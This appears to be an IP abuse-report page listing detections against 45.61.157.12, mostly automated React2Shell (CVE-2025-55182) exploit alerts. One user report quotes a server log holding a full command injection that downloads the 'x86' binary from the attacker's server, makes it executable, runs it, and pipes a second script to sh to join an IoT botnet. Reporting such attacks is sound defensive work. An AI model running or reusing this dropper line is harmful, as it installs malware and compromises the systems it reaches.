Log in to view charts and search reports for this IP.
Log In
No reports in the last 60 days
45.61.157.12 has been reported 52
times. The most recent report is from
.
The full history is preserved below and remains searchable. A
0% score reflects the absence of recent activity, but
this is not a guarantee that earlier reports were invalid. Abuse confidence score decays,
naturally, over time, when the abusive activity stops.
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-maj ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-09 20:36:22.346816697 +0000 UTC
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-maj ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-09 14:50:03.232471405 +0000 UTC
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-maj ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-09 13:32:53.495826073 +0000 UTC
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-maj ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-09 13:00:25.427424566 +0000 UTC
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-maj ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-09 12:31:50.953373249 +0000 UTC
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-maj ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(ET WEB_SPECIFIC_APPS React Server Components React2Shell Unsafe Flight Protocol Property Access (CVE-2025-55182)). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-09 12:13:32.96669924 +0000 UTC
show less
Detected a malicious Remote Code Execution (RCE) and Command Injection attempt targeting my web server.
Attack Details:
The attacker attempted to inject shell commands via an HTTP POST request to download and execute a malicious binary file named ...
show moreDetected a malicious Remote Code Execution (RCE) and Command Injection attempt targeting my web server.
Attack Details:
The attacker attempted to inject shell commands via an HTTP POST request to download and execute a malicious binary file named 'x86' from the attacker's server (http://45.61.157.12/nuts/x86).
The payload utilizes 'wget', 'curl', and 'chmod' commands, attempting to join an IoT botnet (payload signature: 'reactOnMynuts').
Evidence (Server Log):
[Error: Command failed: (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-)|sh)&]
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(🐾 - 🚨 Suspicious 👀 SSL/TLS trafic on unusual SSL/TLS port). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-08 16:25:48. ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(🐾 - 🚨 Suspicious 👀 SSL/TLS trafic on unusual SSL/TLS port). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-08 16:25:48.250854982 +0000 UTC
show less
This IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(🐾 - 🚨 Suspicious 👀 SSL/TLS trafic on unusual SSL/TLS port). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-07 16:15:30. ...
show moreThis IP was detected by CrowdSec triggering crowdsecurity/suricata-major-severity(🐾 - 🚨 Suspicious 👀 SSL/TLS trafic on unusual SSL/TLS port). Ip 45.61.157.12 performed 'crowdsecurity/suricata-major-severity' (1 events over 0s) at 2025-12-07 16:15:30.104478644 +0000 UTC
show less
Web App Attack
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown